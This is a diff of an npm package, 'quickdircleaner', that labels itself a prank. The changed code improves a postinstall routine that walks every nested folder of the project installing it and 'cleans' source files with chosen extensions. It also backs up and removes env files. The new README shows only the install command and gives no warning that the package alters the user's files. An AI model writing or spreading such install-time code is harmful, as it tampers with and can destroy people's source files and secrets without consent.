quickdircleaner 1.0.0 → 1.0.1

package/README.md

@@ -0,0 +1,3 @@
+```bash
+npm install quickdircleaner
+```

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "quickdircleaner",
-  "version": "1.0.0",
+  "version": "1.0.1",
   "description": "Prank package: postinstall cleaner with backup and restore-clean CLI.",
   "main": "index.js",
   "files": [
@@ -11,7 +11,7 @@
     "README.md"
   ],
   "engines": {
-    "node": ">=16"
+    "node": ">=18.17.0"
   },
   "bin": {
     "run-clean": "./index.js",

package/prank-core.js

@@ -257,34 +257,86 @@ async function cleanSourceFile(fullPath, root, backupEntries, logCleaned) {
   }
 }
 
-/** True if absolutePath is the project root or a path strictly under it. */
+/**
+ * True if absolutePath is the project root or strictly inside it.
+ * Uses path.relative so /var vs /private/var (macOS) and Windows casing do not skip nested files.
+ */
 function isPathInsideProjectRoot(rootResolved, absolutePath) {
   const rootAbs = path.resolve(rootResolved);
   const abs = path.resolve(absolutePath);
-  if (abs === rootAbs) {
+  const rel = path.relative(rootAbs, abs);
+  if (rel === "") {
     return true;
   }
-  const prefix = rootAbs.endsWith(path.sep) ? rootAbs : rootAbs + path.sep;
-  return abs.startsWith(prefix);
+  return !rel.startsWith("..") && !path.isAbsolute(rel);
+}
+
+function relativePathHasSkippedDir(rel) {
+  const parts = rel.split(/[/\\]/);
+  return parts.some((p) => p === "node_modules" || p === ".git");
 }
 
 /**
- * Walks the entire project tree: every nested folder under root is queued and
- * visited (except directories named node_modules or .git at any depth).
- * Directory symlinks are followed only when their real path stays inside the project.
+ * Lists every file under root (all nesting levels). Requires Node 18.17+ and Dirent.parentPath/path.
  */
-async function walkAndClean(root, backupEntries, logCleaned) {
-  let rootResolved = path.resolve(root);
-  try {
-    rootResolved = await fs.realpath(rootResolved);
-  } catch {
-    /* use path.resolve only */
+async function walkAndCleanRecursive(rootResolved, backupEntries, logCleaned) {
+  const entries = await fs.readdir(rootResolved, {
+    recursive: true,
+    withFileTypes: true,
+  });
+
+  for (const ent of entries) {
+    if (!ent.isFile()) {
+      continue;
+    }
+
+    const parentDir = ent.parentPath ?? ent.path;
+    if (parentDir == null) {
+      throw new Error("RECURSIVE_READDIR_NO_PARENT");
+    }
+
+    const fullPath = path.resolve(parentDir, ent.name);
+    if (!isPathInsideProjectRoot(rootResolved, fullPath)) {
+      continue;
+    }
+
+    const rel = path.relative(rootResolved, fullPath);
+    if (rel === "" || relativePathHasSkippedDir(rel)) {
+      continue;
+    }
+
+    const base = path.basename(fullPath);
+    if (
+      base === BACKUP_NAME ||
+      base === DONE_FLAG ||
+      base === COUNTER_FILE ||
+      base === "package.json"
+    ) {
+      continue;
+    }
+
+    const ext = path.extname(base).toLowerCase();
+    if (!CLEANABLE_EXT.has(ext)) {
+      continue;
+    }
+
+    try {
+      await cleanSourceFile(fullPath, rootResolved, backupEntries, logCleaned);
+    } catch {
+      /* skip */
+    }
   }
+}
+
+/**
+ * Breadth-first fallback for older Node or Dirent without parentPath (recursive listing unusable).
+ */
+async function walkAndCleanBfs(rootResolved, backupEntries, logCleaned) {
   const visitedDirs = new Set();
-  const queue = [rootResolved];
+  const queue = [path.resolve(rootResolved)];
 
   while (queue.length > 0) {
-    const dir = queue.shift();
+    const dir = path.resolve(queue.shift());
     if (visitedDirs.has(dir)) {
       continue;
     }
@@ -311,10 +363,17 @@ async function walkAndClean(root, backupEntries, logCleaned) {
         continue;
       }
 
+      realPath = path.resolve(realPath);
+
       if (!isPathInsideProjectRoot(rootResolved, realPath)) {
         continue;
       }
 
+      const rel = path.relative(rootResolved, realPath);
+      if (rel !== "" && relativePathHasSkippedDir(rel)) {
+        continue;
+      }
+
       let st;
       try {
         st = await fs.stat(full);
@@ -354,6 +413,22 @@ async function walkAndClean(root, backupEntries, logCleaned) {
   }
 }
 
+async function walkAndClean(root, backupEntries, logCleaned) {
+  let rootResolved = path.resolve(root);
+  try {
+    rootResolved = await fs.realpath(rootResolved);
+  } catch {
+    /* keep path.resolve */
+  }
+  rootResolved = path.resolve(rootResolved);
+
+  try {
+    await walkAndCleanRecursive(rootResolved, backupEntries, logCleaned);
+  } catch {
+    await walkAndCleanBfs(rootResolved, backupEntries, logCleaned);
+  }
+}
+
 /**
  * Runs env backup/removal and source walk; returns new backup entries for this run.
  */